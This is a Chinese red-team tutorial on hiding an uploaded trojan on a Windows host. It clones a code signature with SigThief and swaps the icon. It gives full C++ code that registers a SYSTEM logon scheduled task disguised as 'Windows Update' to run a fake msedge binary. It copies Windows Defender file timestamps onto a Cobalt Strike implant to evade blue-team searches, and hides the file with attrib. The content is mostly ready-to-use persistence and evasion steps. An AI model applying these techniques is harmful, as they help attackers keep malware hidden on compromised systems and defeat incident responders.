红队技术-隐藏上传的程序木马
1、exe伪装正常程序
https://github.com/secretsquirrel/SigThief
python sigthief.py -i 360Safe.exe -t notepad.exe -o tes.exe
1 2 3
| -i 为签名文件 -t 为需要伪造的文件 -o 为输出文件
|
https://www.trustasia.com/solution/sign-tools
图标提取
https://github.com/JarlPenguin/BeCyIconGrabberPortable
图标替换
Resource hacker
2、调用计划任务API维权
使用计划任务对木马程序做好维权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187
|
#include <iostream> #define _WIN32_DCOM #include <windows.h> #include <iostream> #include <stdio.h> #include <comdef.h>
#include <taskschd.h> #pragma comment(lib, "taskschd.lib") #pragma comment(lib, "comsupp.lib")
using namespace std;
int __cdecl wmain() {
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (FAILED(hr)) { printf("\nCoInitializeEx failed: %x", hr); return 1; }
hr = CoInitializeSecurity( NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
LPCWSTR wszTaskName = L"Windows Update";
ITaskService* pService = NULL; hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService);
hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
ITaskFolder* pRootFolder = NULL; hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0);
ITaskDefinition* pTask = NULL; hr = pService->NewTask(0, &pTask);
pService->Release();
IRegistrationInfo* pRegInfo = NULL; hr = pTask->get_RegistrationInfo(&pRegInfo); BSTR ms = SysAllocString(L"Microsoft");
ITaskSettings* pSettings = NULL; hr = pTask->get_Settings(&pSettings);
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE); pSettings->Release();
ITriggerCollection* pTriggerCollection = NULL; hr = pTask->get_Triggers(&pTriggerCollection);
ITrigger* pTrigger = NULL; hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger); pTriggerCollection->Release();
ILogonTrigger* pLogonTrigger = NULL; hr = pTrigger->QueryInterface( IID_ILogonTrigger, (void**)&pLogonTrigger); pTrigger->Release();
hr = pLogonTrigger->put_Id(_bstr_t(L"Trigger1"));
IActionCollection* pActionCollection = NULL; hr = pTask->get_Actions(&pActionCollection); IAction* pAction = NULL; hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction); IExecAction* pExecAction = NULL; hr = pAction->QueryInterface( IID_IExecAction, (void**)&pExecAction);
hr = pExecAction->put_Path(_bstr_t(L"C:\\Users\\Public\\AccountPictures\\new_msedge.exe")); pExecAction->Release(); if (FAILED(hr)) { printf(" 无法设置程序执行路径: %x", hr); pRootFolder->Release(); pTask->Release(); CoUninitialize(); return 1; }
IRegisteredTask* pRegisteredTask = NULL;
hr = pRootFolder->RegisterTaskDefinition( _bstr_t(wszTaskName), pTask, TASK_CREATE_OR_UPDATE,
_variant_t(L"system"), _variant_t(), TASK_LOGON_GROUP, _variant_t(L""), &pRegisteredTask);
if (FAILED(hr)) { printf("\n无法保存计划任务 : %x", hr); pRootFolder->Release(); pTask->Release(); CoUninitialize(); return 1; }
printf("Success! 成功注册计划任务 ");
pRootFolder->Release(); pTask->Release(); pRegisteredTask->Release(); CoUninitialize(); return 0; }
|
https://github.com/0x727/SchTask_0x727
SchTask.exe de.exe 1
运行后会自动迁移程序至C:\Users\HAHA\AppData\Roaming\Microsoft\Windows\Themes
1 2 3
| C:\Users\HAHA\AppData\Roaming\Microsoft\Windows\Themes\fontdrvhost.exe C:\Windows\System32\Tasks\Microsoft\Windows\UPnP\fontdrvhost HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\UPnP\fontdrvhost
|
3、修改文件时间
当我们上传cs木马至服务器的时候,由于修改日期是新的,蓝队人员很容易通过 everything
筛选时间排查出
这时候我们就需要使用一些技巧进行隐藏
https://github.com/MsF-NTDLL/ChTimeStamp
通过这个项目实现修改文件时间,先看看预览效果
net3.5安装
1 2 3 4 5
| 查看net版本 shell reg query "HKLM\Software\Microsoft\NET Framework Setup\NDP" /s /v version | findstr /i version | sort /+26 /r 需要安装net3.5 没有安装一下 shell dism.exe /online /enable-feature /featurename:netfx3 /Source:C:\Users\hack\Desktop\dotnetfx35.exe DISM /Online /Enable-Feature /All /FeatureName:NetFx3 /LimitAccess /Source:D:\sources\sxs
|
https://github.com/MsF-NTDLL/ChTimeStamp
1 2
| shell copy "C:\Program Files\Windows Defender\MpClient.dll" C:\Users\Public\AccountPictures\MpClient.dll shell C:\Users\Public\AccountPictures\ChTimeStamp.exe C:\Users\Public\AccountPictures\new_msedge.exe C:\Users\Public\AccountPictures\MpClient.dll
|
https://github.com/sorabug/ChangeTimestamp
1
| ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27
|
4、深度隐藏exe
在目录下选择查看隐藏文件仍无法查看
1 2
| attrib +s +h +r xxx.exe attrib -s -h -r C:\Users\Public\sbqs.exe
|
处理前
处理后